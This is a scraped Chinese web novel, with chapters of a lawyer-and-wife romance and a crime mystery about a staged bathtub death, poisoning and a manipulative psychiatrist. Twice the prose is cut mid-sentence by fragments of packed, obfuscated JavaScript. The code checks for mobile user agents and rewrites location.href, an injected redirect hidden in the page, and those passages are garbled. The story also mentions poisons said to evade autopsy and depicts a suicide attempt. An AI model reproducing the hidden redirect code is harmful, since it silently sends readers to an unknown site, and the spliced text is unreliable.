丁年小心翼翼的把她放在床上,盖好被子,掖好被角,起身要走的一瞬间,虞岁突然环住了他的脖颈,拽着他倒在她身上…… 唯恐惯性砸疼她,丁年撑起手臂在她上方俯视她的脸,视线划过她精致的眉眼,饱满欲滴的唇,惹人遐思的锁骨……呼吸不由得一滞。 他的喉结上下滚动,眼中闪过一丝慌乱,却又很快被更深的情愫掩盖。 虞岁脸颊绯红,眼神迷离,带着几分醉意与懵懂,轻声呢喃着他的名字,温热的气息扑在他的脖颈,惹得他心头一颤…… 丁年解开衬衫两颗扣子,苦笑,这日子什么时候是个头啊。 “乖,丁太太,晚安。” 虞岁一夜好梦,丁年冲了半宿冷水澡。 隔天一早,虞岁揉着宿醉晕痛的头,打开房门,就看到餐桌上保温的早餐和桌边围着围裙小憩的丁年。 虞岁不太清醒的大脑瞬间闪过四个字,秀色可餐。 虞岁走过去坐下,丁年揉了揉惺忪睡眼,“醒了?你这个酒品,以后不要跟别的男人出去喝酒。” 虞岁叼着面包,咬了一口,嚼嚼嚼,咽下去之后说:“看不出来你还有家庭煮夫的潜质,不过你进入状态的速度是不是有点太快了?” 丁年直起身子,摘掉围裙,“怎么说?酒醒了不想负责?” “什么意思?” “昨晚的事你都忘了?” “喂,丁年,你可不要乱讲,我做没做过我能没感觉?” 丁年推开椅子站起来,一边走一边凉凉的说:“你当然没做,毕竟,是我在动。” 虞岁心想,跟老娘玩这套? 她放下早餐站起来,紧走几步追上丁年,一只手扣住他的手腕把他按到墙上,另一只手的手指点上他的胸口,“是么?那你给我复盘一下,我听听细节,就眼下我的感觉来说,你好像不行哦。” 丁年的呼吸有些乱,“丁太太懂的倒是不少,一点都不像只有一个暗恋者没有男朋友的人。” 虞岁忽然就觉得有些没意思,放开他,转身走向衣帽间,“没吃过猪肉还没见过猪跑么?” 民政局,拍照,盖章,拿证,等丁年送虞岁回别墅的时候,远远的就看到门口站着个清俊的男人,脚边放着一大束花。 丁年看了眼路仁迦,又看了眼虞岁,默默的解开安全带,打开车门下车走到虞岁那边,为她打开车门…… “需要我回避么?” 虞岁瞥他一眼:“回避什么?男人的容貌,妻子的荣耀,你拿不出手么?” 丁年就笑了,“走吧暗爽哥”,虞岁说着,挽着他的胳膊走向路仁迦。 路仁迦的笑容凝固在看到虞岁挽着丁年胳膊的手上…… 虞岁倒是大大方方的打招呼,一开口,还是旧模式,好像她和路仁迦从来没有分别过:“路仁迦,不是我吐槽你,之前就跟你说过,你这身材不适合穿太正的西装,跟卖保险的似的,还不是销冠的那种。” 路仁迦的脸色有些苍白,“你跟丁年?你们俩?” “如你所见,我结婚了,要看看结婚证么?新鲜热乎的,特别红。” 路仁迦深深吸了口气,“你结婚了?你怎么就不能等等我?” 虞岁有点火大,“咱俩认识这么多年了,你跟我表白过?走的时候跟我告别过?让我等过你?咱俩就是个好朋友,玩的好的,我喜欢跟你玩的好朋友,不要再进一步,保持住。” 丁年在一旁轻轻点头,嗯,很好,她接收的很好,看来昨晚那顿酒没白喝。 路仁迦一时语塞,声音软了下来,“岁岁,我不是那个意思……我们,还是朋友,好朋友。” “你这个端正的态度就很好,好了,你才回来,明天给你接风,你看看都叫谁。” “就把蔡蔡叫着吧,去哪你定,还有,他也去么?”,路仁迦看了一眼丁年。 “那你回去准备准备吧,明天去海钓,好久没去了,至于丁年,我们商量商量。” 路仁迦点点头,一步三回头的走了。 丁年看向虞岁,“岁岁,你想带我去么?” “你都不忙么?” “手头的案子刚刚结束,有空档期。” “丁年,以前怎么没看出来你还挺黏人?” 丁年心想,我不仅有反差,我还会茶艺……就听他茶里茶气的问,“岁岁,你不喜欢么?是那个卖保险的不像我这样黏人么?” 卖保险的?他倒是学以致用。 虞岁翻了个白眼,“带,带你去,回去准备吧。” 丁年回到事务所,叫来秘书:“去把下次开庭之前需要用的资料拿来。” “老大,您这是?” “先把事情处理完,随时准备去度蜜月。” 秘书嗅到八卦的味道,因为一向不苟言笑的丁年不知想到了什么满脸柔情蜜意,“老大,您这是好事将近?” 丁年从外套口袋里扯出结婚证晃了晃,“我结婚了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033540|162368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “老大,你这真是闷声干大事,谁追的谁啊?” 丁年想了想,是虞岁打电话叫他结婚的,所以他说:“我还需要追?” 秘书就更惊讶了,“老大,我记得大学的时候,你说过不喜欢主动追你的,现在怎么改性子了?” 丁年突然顿住,“你说什么?” “那时候隔壁院的系花声势浩大的在大庭广众之下给你表白,你当时就拒绝了,还说要理性的,有逻辑的,不喜欢主动追你的。” 见丁年沉浸在自己的世界里半天不说话,秘书默默的走出去给他找资料。 原来虞岁暗恋的人是自己,还好,还好虞岁暗恋的人是自己。 所以那晚,他,骂他自己? 反应过来之后又觉得想笑,当初他说的理性的,有逻辑的,会撒娇的,主动的……拼拼凑凑,就是虞岁在他心里的样子啊。 他是想表白的,是路仁迦说他跟虞岁已经在一起了……即便如此,他拒绝别人的时候想的也是虞岁。 原来啊,兜兜转转,该是他的,还是他的。 虞岁,何其有幸,我们都在对方看不见的地方和时间里,偷偷的喜欢彼此。 第二天出海的时候,虞岁就感觉丁年的热情空前高涨,暗戳戳的为她操碎了心,不说别的,除了丁年,就没谁因为她喜欢拍照为她随身携带打光板…… 眼里有活的男人很多,眼里有活还只围着她转的男人就丁年一个。 虞岁坐在甲板上一边钓鱼一边想,想这几年,想现在,想丁年…… 蔡蔡鬼鬼祟祟的凑到她旁边,“你这有鱼么?都不上钩。” “钓鱼呢,要有耐心。” “岁岁啊,我现在感觉你跟丁年结婚是蓄谋已久。” “怎么说?” “想当初你暗恋他死去活来的时候,不就说过你的理想型就是丁年这样,不要爹味的,又喜欢有点霸道管着你的,要成熟稳重的还不能无聊。” “少来,我还说过喜欢爱哭能时不时激发我保护欲的呢。” “奥奥对,咱们精神内核强大的岁岁公主有一颗想当粉红骑士的心。” 角落里捧着椰子走回来的丁年,听了半天,挑了挑眉,哦……还喜欢爱哭的…… 蔡蔡小声蛐蛐,“岁岁,你俩就不能莫名其妙的亲个嘴么?就当是为了我?” 虞岁嘟囔着,“你以为我是什么表演型人格么?再说他也不喜欢主动的,我那点心思早都歇了……” “哦~歇了啊~” 虞岁惊喜的声音突然响起,“丁年~你快来,我钓到了!” 丁年连声回应,“岁岁,我来了。” 隔天,路仁迦打电话约丁年去酒吧,几杯酒下肚,路仁迦的话多起来,“丁年,我知道当初的事你没少花心思,要不是你,我能匆匆就出国?” “所以你这是在夸我有手段么?” “我是在说你卑劣。” “呵,你不卑劣,明知道岁岁对我的心思,还跟我说你们在一起了。” 路仁迦直接拿起酒瓶灌了一口,“丁年,凭什么你后来者居上?” 丁年郑重其事一字一句的说:“因为我既要还要,又争又抢。” 路仁迦气急败坏的说:“你他妈就不是人!小时候我和岁岁就约定过,我与她,会像钢琴上的黑白键一样,永不分离。” 丁年耐心的给他科普,语气淡漠:“也不尽然,外力冲击,环境因素,长期的使用或者老化,都会分离。” 路仁迦深知说不过他,恨恨的说:“一肚子花花肠子,只会耍嘴皮子!” “哦,那你怎么没有?是不喜欢么?” “丁年,好好对虞岁,不然我不会放过你。我会一直盯着你!” “我有老婆了,别盯我,没结果。” “你神经病吧大哥?” “大哥有老婆,你没有。” “我有岁岁小时候的照片,你没有。” “我有老婆,你没有。” “我参与过岁岁很多美好的过去,你没有。” “她是我老婆,我有她的现在和未来,你没有。” “我见过她家人,你没有。” “我有跟她的结婚证,你没有。” 路仁迦突然就泄气了,“我讨厌你,丁年。” 丁年拿着酒杯碰了下他的,“巧了,我也是。” 气的路仁迦直嚷嚷,“换大杯!” 丁年犹嫌不足,“等我给我老婆报备一下。” 电话接通,虞岁娇滴滴的声音从听筒传来,丁年就有些醉了,“来接我,我的粉红骑士。” 虞岁到的时候,就看到醉的七荤八素的路仁迦和正襟危坐看不出来醉没醉的丁年……旁边还有几个装扮夸张围着丁年蠢蠢欲动的太妹…… 虞岁打给路仁迦的司机,报了个地址。然后走过去扶起丁年,他乖乖的靠在她身上,“醉了?” 丁年笑的蛊惑人心,轻轻说了一句:“二两桃花酿作酒,万杯不及你温柔。” 回到别墅,虞岁煮好醒酒汤放到丁年面前,他也不喝,目光幽深的盯着虞岁…… “怎么了?他跟你说什么了?” 丁年眼眶红红的,“虞岁,我难过,你不能跟别人好,我见不得你跟别人好。” 虞岁心头一软,就听丁年又接着说:“理想型是喜欢一个人的标准,而爱,没有标准,大概就是你出现了,让我恍然大悟,你就是为我而来的。所以我们领证的日子我选在我的生日,因为我是为你而来。三年前是,现在也是。” 虞岁有些晃神,就看见丁年的脸一寸一寸放大在她眼前,他的手掌轻轻扣住她的后脑,动作轻柔得如同在触碰一件稀世珍宝,指尖微微颤抖。 他的目光中满是眷恋与深情,仿佛这世间万物都不复存在,唯有眼前的她。 房间里安静得只能听到彼此急促的呼吸声,空气似乎也被这暧昧的氛围点燃,变得滚烫。 “虞岁……”丁年低唤,声音沙哑得如同砂纸摩擦,带着难以抑制的情感。 他缓缓低下头……两人的距离越来越近,近到能感受到彼此的心跳声交织在一起。 (这里系统不让写,就是脖子以下不能描述那点事儿) “岁岁” “嗯?” “我可以违约么?” “要付出代价哦。” “甘之如饴。” 8. 虞岁,你是公事,也是私事。 丁年第一次见到虞岁的时候,直觉凶手就是她。 隔着厚厚的单向透视玻璃,丁年观察着审讯室内的虞岁,不错过她脸上的细微表情和她的一举一动。 玻璃仿佛是一道时间与空间的屏障,将两个世界分隔开来。 她看不到他,他却能肆无忌惮的打量她。 虞岁坐在审讯椅上,头顶的灯光洒下,在她脸上投出明暗交错的光影,她身影单薄,看上去很平静,微微低垂着眼睛,双手交叠,左手的拇指无意识的摩挲着右手虎口。 丁年的眼神中透露出复杂的情绪,有疑惑,有审视,还有一丝隐隐的兴奋,他在心里默默想着,虞岁到底是一个怎样的人? “丁哥,需要请审讯专家配合么?” “没有直接证据就上手段?有点招数都用老百姓身上?”,丁年微微皱眉。 “目前来说,从案发现场的痕迹来看,除了死者的就是虞岁的,而从与死者的亲近关系来看,除了虞岁就是死者的男朋友,那男朋友是个心理医生,咱们的人排查过,他有强有力的不在场证明。” “啧,警察办案,就凭主观臆断去排除,你在警校没学过?” 警员小李挠了挠头,“学过,秉持客观公正原则,避免主观臆断,排除主观偏见干扰,坚持证据为本……丁哥,要不说还是您专业呢。” “甭给我来这套,学过就去准备准备,跟我进去做笔录。” “好嘞” 丁年感觉自己像是站在一个迷雾重重的密林边缘,而虞岁就是那把可能解开谜团的钥匙。 九个小时前,他们接到报案,在市郊一个小区发现一名女性死者。 即便是时间距离现在已经过去近十二个小时,案发现场的情景仍然历历在目,让丁年想起来就觉得触目惊心。 说触目惊心并不是因为案发现场有多血腥,相反,不同于以往的会让人直观感受生理不适的景象,这次的案发现场甚至可以冒昧的用艺术来评价。 初初看上去可以定性为密室杀人,门窗的密闭性良好,没有人为破坏的痕迹,没有打斗痕迹。 等痕检组拍好照片收集完脱氧核糖核酸,丁年才戴好手套穿好鞋套走进去。 推开浴室门,只感觉到强烈的视觉冲击,满地的彼岸花,铺就了一条黄泉路…… 浴缸里,满缸的红色液体,一个容貌姣好的女人穿着白色的丝绸睡衣安静的泡在里面…… 表情恬淡,像是睡着了一样,甚至嘴角还有一抹若有似无的笑。 暖黄色的墙,纯白的浴缸,红色的彼岸花,白色睡衣的女人,和浴缸里殷红色的液体……像是天使与撒旦的碰撞,勾勒出一幅令人挥之不去的诡谲画卷。 丁年的目光在这诡异场景中一寸寸扫过,那浓郁的花香此刻却似带着腐臭的气息,钻进他的鼻腔。 “法医那边怎么说?”,丁年一边勘察细节,一边问身后的警员小李,声音不自觉地压低几分,仿佛生怕惊扰了这浴室里的静谧。 “初步判断死亡时间超过十小时,大概是昨天晚上八点到十二点之间,死者身体上没有明显外伤,内脏器官无明显破损……” “无明显外伤?那这红色液体是?” “是高浓度高锰酸钾溶液。” 丁年蹭了蹭额头,“死亡时间越久,法医给的死亡时间范围就越宽,尸体还被高锰酸钾溶液泡过了,误差就会更大……法医的初步尸检报告出来之后立马拿给我……对了,痕检组怎么说?” “除了死者的,还有两个人的痕迹,一个是死者的男朋友,另一个叫虞岁……喏,就是合照上另外两个人”,小李说着,递给丁年一个摆台。 拍照的人看起来很有水平,把三个人拍的很有意境。 尤其是照片上叫虞岁的女人,婀娜多姿,眼神中既有清冷的距离感,又有破碎的故事感。 丁年的视线在照片上停了几秒,把照片递回去,“找袋子装好,带回队里。” 小李收好摆台,转身正要走,“别动”,丁年突然出声,小李一动不敢动…… 刚才没注意到,小李脚边的一朵彼岸花下面有一个精致的小盒子,上面刻着繁复的花纹,像是某种古老的符号。 丁年戴着手套,小心翼翼地打开,里面是一张黑色暗金纹路的信纸,上面写着几行字:“当血液的花朵绽放,她将回归永恒的平凡,这是命运的裁决,也是爱意的救赎。” 小李揉了下脖子,“丁哥,我怎么感觉凉飕飕的,这什么意思?够邪的啊!” 丁年的眼神瞬间锐利起来,这隐晦的话语背后,究竟藏着怎样扑朔迷离的秘密?是情杀,还是有着更深层次的缘由? 丁年把盒子递给小李,“带回去给痕检组做笔迹鉴定,调查死者的人际关系,尤其是最近和她有过接触的人,一定要细致入微。” “好的丁哥。” 丁年觉得,这起案件绝不会如此简单,这看似艺术般的死亡场景,一定是人为的故弄玄虚。 想到这,丁年又看了一眼审讯室的虞岁,她还是一副云淡风轻的表情,仿佛世间万物都与她无关。 丁年知道,这看似平静的表象下,可能隐藏着许多不为人知的秘密。 他深吸一口气,推开门走进审讯室,一场激烈的心理交锋即将展开。 “姓名。” “虞岁。” “年龄。” “29岁。” “职业。” “设计师。” “杜唯死了你知道么?” 虞岁浅笑,“我是报案人,警官,你专业一点好么?” 小李做记录的笔停顿一下,悄悄看了一眼丁年,想笑又不敢笑。 丁年几不可察的挑了下眉,从他问这个问题到她回答,她的脸上没有出现任何多余的表情。 “昨天晚上八点到十二点之间,你在哪里?说详细一点。” 虞岁皱了下眉,“我去看了我的心理医生,结束后接到杜唯的电话让我去找她,路上堵车,等我到的时候,就看到她躺在浴缸里,没有呼吸,我就拨了急救电话和报警电话。” “你的心理医生?” “就是杜唯的男朋友,秦素。” 丁年看了一眼小李,小李会意,递给他一份调查笔录…… “我们的人排查过秦素,他有不在场证明,但是患者不是你。” “他的患者是虞念舟,对么?那是我另一个名字。” 丁年的视线停在笔录上患者名字那一项上,的确是虞念舟,又问:“什么样的心理问题,要那么晚去见一个男医生?还是你闺蜜的男朋友。” 虞岁的身体微微后倾,抱着手臂淡漠的回答:“创伤后应激障碍,时有轻微抑郁,失眠。” 丁年把她的反应看在眼里,从心理学上来讲,身体后倾与审讯人员保持更大距离,这是试图在心理和物理上建立防御空间, 将双臂交叉于胸前,这是一种典型的自我保护姿势,能给人一种心理上的安全感,说明她可能在防备或对当前话题有抵触。 丁年从文件袋里拿出那张黑色暗金纹路的信纸,走到虞岁面前,“认识上面的字迹么?” 虞岁仔细看了一眼,微微抿唇,轻声说:“跟我的字迹很像。” 丁年盯着她,短暂又长久的注视之后,他抬手示意小李把问讯笔录拿过来,放到虞岁面前:“确认一下,没什么问题的话,签个字,你就可以走了,最近一段时间不要离开本市,后续有什么问题我们还要再找你。” 虞岁上下扫视一遍,签好自己的名字,站起来走到门口的时候,突然回头看着丁年问:“警官,你在怀疑我,对么?” 丁年没有承认,也没有否认:“在案情水落石出之前,我怀疑与死者有关的每一个人。” 虞岁又说了一句让人无限遐思的话,“我曾经看过一句话,如果凶手是我,当你信任我的那一刻起,我就是完美犯罪。所以,你的怀疑是有道理的。” 等虞岁走后,小李有些摸不着头脑的问:“丁哥,你怎么让她走了?我怎么感觉她说那话是在挑衅你呢?” 丁年从烟盒里掏出支烟,放在鼻子下面嗅了嗅,“不放她,你有直接证据?没有证据顶多24小时也得放她走,有那时间不如再去补充侦查,何况,你觉得是挑衅?我倒觉得是另一个意思……” “另一个意思?” 打火机蹿起的火苗点燃丁年叼着的香烟,恍惚了他的眉眼,“我感觉她在对我说,救救我。” “丁哥,我现在觉得林队给你的评价太中肯了。” “怎么说?” “他说你是个情绪捕手。” “啧,林队年纪上来了,就会说这些酸话……法医的尸检报告出来了么?” “给,新鲜热乎的。” 丁年掸了下烟灰,接过报告快速翻阅,视线从引言、尸表检验、内部器官检验、毒物检验……一路滑到结论上,「根据尸检所见,死者内脏器官无破损,身体无外伤,体内未检测出任何毒素,目前尚不能准确断定其死亡原因。建议进一步结合死者生前病史、临床资料及其他相关检查进行综合分析判断。」 “器官无破损?身体无外伤?体内没有检测出毒素?”,丁年越看越觉得离谱。 “是吧丁哥,我就说这有点邪乎,赵法医说了,会再进一步的做深度解剖和内脏切片化验。” “这里,体内没有检测出毒素,你问过了么?哪种情况下会出现这种现象?” “赵法医说,要么是这个毒有时效性,过了时限之后普通的检测查不出来,要么就是这种毒素跟浴缸里的高锰酸钾产生化学反应,要再等等看尸体上的尸癍呈现状态来判断……” 丁年熄灭烟,“赵法医这话的意思就是他已经有猜测了。” “丁哥,你真是神了,我想卖个关子都不行!赵法医说理论上不存在绝对能逃避尸检的毒药,但有一些毒药因特殊性质或检测难度,可能较难被常规尸检查出,比如说,wutoujian,铊,肉毒杆菌,bima毒素……” “行了,跟我出去一趟,让小刘守着点法医那边,有事给我打电话。” “咱们这是去哪?” “补充侦查。” 虞岁从警局回到家之后感觉脑袋昏昏沉沉的,她找出秦素给她开的药,吃完之后很快就进入梦乡…… 梦里是铺天盖地的殷殷血色,满地的血水蔓延到她脚下,一点一点漫过她的脚腕,小腿,膝盖……她想跑却踩到血水中的彼岸花,一个不稳就倒下了…… 血水的颜色越来越深……越来越多……慢慢淹没她的脖子……挣扎中她抓住了一个小瓶子…… 虞岁满头细汗的惊醒……她大口大口的喘着粗气……怎么感觉,她的症状越来越严重了? 她起身下床想喝口水,发现有个小瓶子正安安静静的摆在她床头的柜子上…… 是梦里的那个瓶子……是……她从杜唯的浴室里带回来的瓶子…… 她慌忙从家里找出来一个装满设计草稿的铁箱子,把瓶子扔进去,点火……迅速而起的火舌吞卷着草稿和玻璃瓶……且有愈演愈烈的势头…… 小李拿着面包和矿泉水回来的时候就见到丁年正出神的盯着虞岁的窗户,“丁哥,我说你别是假公济私吧?” 丁年不理他的调侃,指着虞岁闪烁光芒的窗口问他:“这个光跳的怎么像火焰呢?” 小李还在那继续贫:“没准被你刺激的回家放火了。” 丁年的脸色变得严肃起来,“五分钟之后我要是没下来你就打火警电话!” 小李也意识到事态不对劲,连忙点头。 丁年用最快的速度冲到虞岁家门口,彼时虞岁已经有些头晕目眩的半昏迷了,丁年一脚踹开房门,三步并作两步的找到虞岁的位置……火势已经蔓延到床和沙发这些易燃物上面…… 丁年脱下衣服包住虞岁,抱起她跑出房间。 到楼下的时候消防车已经来了,消防员接二连三的冲进虞岁家。 丁年把虞岁放到车上,亮出证件,“主卧有一个大铁箱,里面的残存物请尽力抢救一下。” 消防队长点点头,进去指挥工作。 医院里,经过医生的检查,虞岁只是吸入了烟雾颗粒影响气体交换导致呼吸道堵塞,引起了短暂昏迷。 “患者的体内有药物过量的症状,这类精神类的药物需要严格控制剂量,以后要注意!” 丁年疑惑,忽然想到了什么,“精神类的药物过量会出现幻觉么?” 医生推了下眼镜,给出专业的解答:像氯氮平、奥氮平这种抗精神病药物,过量服用会干扰大脑中多种神经递质系统;抗抑郁药物,如选择性5-羟色胺再摄取抑制剂(SSRI)等,过量服用会使大脑中5-羟色胺水平过高,引发5-羟色胺综合征;苯二氮zhuo类药物,过量服用会对中枢神经系统产生过度抑制作用;□□类兴奋剂等具有精神活性的物质,本身就有致幻作用,过量使用时,会强烈刺激大脑的神经回路,出现丰富多样的幻觉。” 丁年回到病房,打量着躺在病床上的虞岁,她像一幅会呼吸的画,他不忍惊醒梦中人。 丁年的脑海中闪过很多猜测,平生第一次开始怀疑自己的判断,或者说,他的私心指引他推翻自己的判断。 虞岁醒来的时候,就对上丁年深邃的目光,也不知道这样看了她多久。 她说了句渴,丁年忙把自己「晾凉了又换热的,晾凉了又换热的」的温水递给她…… 虞岁喝了几口,端着杯子默默出神,房间里静的能听到时针秒针的声音…… 丁年的电话铃声响起的同时,虞岁轻轻的说了一句,“是我杀了杜唯,我自首。” 电话铃声响了很久,丁年没有接,也没有按断,直到房间重新恢复寂静。 虞岁放下杯子,慢慢的抬起两只手,伸到丁年面前,下巴微动、视线扫了下丁年腰间的手铐,示意他把她铐起来…… 见丁年没有动作,又说了一句:“警官,专业点。” 丁年看着她的手臂,她的左手腕上还有一道狰狞的、陈旧的伤痕……他第一次犹豫了…… 良久,他取出手铐,在虞岁柔软的目光中,咔嚓一声,一端铐在自己手上……然后拉过虞岁的手,将另一端铐了上去…… 见状,虞岁微微一怔,眼中闪过一丝复杂的情绪,却也没说什么。 丁年意有所指的说了一句:“我会让你见识到我的专业。” 这是丁年第二次隔着单向玻璃观察虞岁,她比第一次看上去还要平静,这平静中甚至带了点如释重负。 小李走过来,“丁哥,打你电话怎么没接啊?可急死我了,幸好你回来的快。” “是法医那边有消息了?” “最新消息,确认了死者体内的毒素成分是肉毒杆菌毒素。” “肉毒杆菌?” “没错,肉毒杆菌毒素主要作用于神经肌肉接头处,抑制乙酰胆碱的释放,导致肌肉松弛性麻痹,会使面部呈现出一种看似微笑或松弛的表情,初步检测没有检验到成分是因为毒素在体内可能很快与神经组织结合,血液中含量低,不易被检 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033541|162368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 测到,需要对可疑食物、呕吐物等进行专门检测。” 丁年心下微微一动,“虞岁家那个瓶子里也是肉毒杆菌对么?” “是啊,你说这谁能想到,原来报案人就是凶手,这个案子看着挺复杂,结案倒是快,走吧丁哥,拿到口供就可以往上递了吧?” 丁年不说话,沉默着走进审讯室。 虞岁铐在椅子上,不知道在想什么。 “你为什么要杀杜唯?” 虞岁歪着头重复了一遍这句话,“我为什么要杀她?”,似乎真的在想为什么,良久,她苦笑着说:“大概是……因为我精神分裂吧。” “你是怎么杀她的?” “我去找她,看到她躺在浴缸里,我就把药注到她胳膊上。” 丁年敏锐的捕捉到她话里的漏洞,“你回去的时候,她还活着?” 虞岁突然抱住头,有些痛苦的说:“我忘了,别问了,我认罪,别问了。” 她这个状态,审讯已经不适合再继续下去。 “丁哥,你不觉得她是装的么?” 丁年猛的有些情绪化,“你装一个我看看呢?” 小李瘪瘪嘴,“丁哥,就事论事,你怎么还人身攻击呢?” 丁年捏了捏眉心,“别往心里去,你把那个心理医生秦素的地址给我,我亲自去一趟。” “啊?秦素已经排除了嫌疑,还有必要去么?” 丁年横了他一眼,“有些细节需要敲定,现在的情况,即使虞岁认罪,证据链也不完整,结案报告到时候都会被打回来,再说了,就算她真是凶手,她的心理状态也要评估,将来作为量刑的标准。” 虞岁在去羁押室的路上碰到了风尘仆仆的丁年,她淡笑开口:“警官,我会被判死刑么?” 丁年答非所问,“如果你是无辜的,我不会让你死的。” “怎么办啊,我好像不无辜。” “你好好想想,你为什么杀她?需要你补充细节。” “我想了,假如我是凶手,现在,假设成立了,我却想不起来了。” 丁年有些艰难的咽了下口水,“你想活么?” 虞岁笑的飘忽,“不太想。” “好好想想!” 虞岁没有再说话,示意身旁的女警官可以走了。 同一条走廊,虞岁和丁年擦肩而过,虞岁仿佛正在奔赴她的死路,这是她自己选的路,放弃一切挣扎的路;而丁年,却想拼命拉住她下坠的脚步。 丁年找到秦素,直奔主题,“虞岁时精神状态处于什么阶段?是否有人格分裂倾向?” 秦素脸上挂着官方性的微笑,笑的人畜无害,“丁警官,我给的诊断是,该患者只是轻微的抑郁,伴有失眠和焦虑,这是精神压力大,但是涉及不到人格分裂那个层面的,从法律上来说,她属于完全民事行为能力人。” 丁年转而问了另一个问题:“你跟杜唯的感情好么?” “很好,我很爱她。” “那她爱你么?” “爱啊,很爱,她当然爱我,我们感情很好”,秦素答得很快,像答丁年,又像是答自己。 丁年注意到,即使作为心理医生他很会控制自己的微表情,但他的语速很说明问题,他在不安。 “把虞岁在你这的就诊记录和用药清单拷一份给我。” 秦素动作很快,快的像是早有准备一样。 “丁警官,有需要随时联系我。” “也许很快就会再见。” 丁年走出他的诊疗室,又去找了助理护士,拿到取药清单之后又去了一趟药房…… 刚忙完,电话响了,小李焦急的声音从电话那端传来,“丁哥,虞岁自杀了。” 急诊室的走廊空荡荡的,冷风裹着寒气直往丁年心里钻。 不知道过了多久,手术灯灭了,主刀医生疲惫的走出来,摘掉口罩,“病人暂时脱离危险,不过手筋断了,即使手术,对以后的生活多少有些影响。” 丁年怔怔的点点头,又问:“她这是什么原因导致的?为什么会这样?” 反应过来又觉得自己蠢,这种自杀未遂多半是心理原因,主刀医生又不是心理医生。 果然,就听医生说,“这个具体的诊断需要心理专家来确定,但是手术中发现她抗麻药,这是长期服用抗抑郁类精神药物的后遗症。” 病房里,这是丁年第二次在病床前守着她,一米八几的男人,眼眶有些红,看的人心酸,他只轻轻说了一句,“虞岁,我再也不会让你因为这种事躺在这了。” 电话被他调成震动,此时嗡嗡的响起来,他走出去接起电话,小李的声音终于让丁年听到了虞岁生的希望…… 原来,是法医深度解剖时,从死者的肋骨内侧,找到了一枚小巧的钥匙…… 当丁年带着刚刚醒来就坚持跟着他的虞岁,拿着钥匙打开那个暗房的时候,一瞬间的震撼,让他说不出话来,身旁的虞岁吃惊的捂住嘴…… 阴暗的房间,昏黄朦胧的灯光,厚重的窗帘,透不进一丝光的窗户…… 四面墙密密麻麻的贴着虞岁的照片,各种角度各种模样,姿态各异,是连虞岁自己都不记得、都不认识的样子。 每张照片背后都有一句简短的话,类似:这是岁岁吃饭的样子…… 这是岁岁第一次收到情书的样子,情书我撕了…… 今天岁岁心爱的手帕丢了,我藏的…… 今天岁岁捡到一只小狗,她很喜欢,不可以呢…… 虞岁都不知道怎么形容这一刻的心情,她隐隐感觉到杜唯对她的心思,但她没想到杜唯会以爱之名对自己这么疯狂。 丁年发现角落里有一只老式的大木箱,虞岁走过去,打开,发现里面放满了各种经过处理的旧东西。 小到虞岁吃过的口香糖,手帕,用过的掉了耳朵的旧皮筋,大到一本做过的破习题,穿过的裙子……看得出来有人时时摩挲,很多边边角角都变得陈旧光滑。 箱底有一封信,虞岁颤抖着手打开: 虞岁,当你看到这封信的时候,就能感觉到我的爱了,我爱你,所以我把钥匙放在离我心脏最近的距离。 我不知道怎么表达对你的爱,只能用我生命,污你姓名。 你一定不会相信我有多爱你,我可以为你去死,我将用生命向你证明我的爱。 当血液的花朵绽放,我将回应心底对你的爱,这是命运的裁决,也是我想要你给我的救赎。 故事发展到现在,一切就明朗了,秦素是虞岁的心理医生,杜唯跟秦素在一起就是想了解虞岁的心理心事,不能无孔不入的了解虞岁会让她抓狂。 而杜唯是自杀,因为对虞岁畸形的爱,用生命给她泼脏水。 秦素觉得被杜唯背叛,从而恨上虞岁,他利用虞岁有抑郁症这一点,换了她的药,加大了药的剂量,催眠她,让虞岁以为凶手是自己,从而去毁掉证据。 秦素被逮捕的时候,只淡淡的说一句,其实杜唯和我才是最般配的。 丁年点点头,表示你说的对,癫公癫婆。 旭光破云,万物竞辉。 虞岁出了警局大门,就看到丁年捧着一大束白色石楠花,“警官,你这是?” 丁年把花递到她面前,红着脸说了一句:“白色石楠的花语是,永远守护你。可以跟我在一起么?” 虞岁嘴角绽放一个绚烂的弧度,却还不忘调侃他:“警官,公私不分么?不专业哦。” 丁年郑重的像要入党一样,“虞岁,审你抓你是公事;等你爱你是私事。” 9. 丁年,明月偏要照沟渠 夜幕似一泓幽凉的水,悄然漫上人间。 层层叠叠的云羽,温柔地簇拥着月亮,将月色筛成了一片如梦似幻的银纱。 “谁在那里?” “屠女士,解释解释?” 皎洁的月光投射出一抹倚靠在窗边的身影,修长且匀称、骨节分明的手指捧着一沓装订好的稿纸,一页一页翻看着。 在看到某个字眼的时候,虔诚又爱怜的轻轻摩挲着,甚至细心的抚好卷边的纸张。 听她发问,他扬了扬手中的纸,皮笑肉不笑的反问。 月光笼罩着他,镀了一层清嘉。 是连晚风和无边月色都偏爱的人。 越看越觉得有几分熟悉,是好像在哪里见过但又确定没见过的轮廓。 他慢慢走到开关旁,按亮了房间的灯光,顺势坐到一旁的沙发里,懒洋洋的开口: “我?丁年,记得吧?” 骤然变亮的四周让人条件反射般的闭眼,再睁开眼,看到他的脸,听到丁年两个字,怎么形容这种感觉呢? 就像被球状闪电炸了一下,头皮发麻,心跳如鼓。 “丁年?书里的丁年?我笔下的丁年?” 丁年微微颔首,对她的三连发问表示肯定。 顺嘴还要吐槽一句:“五十几万字的纸也叫书?” 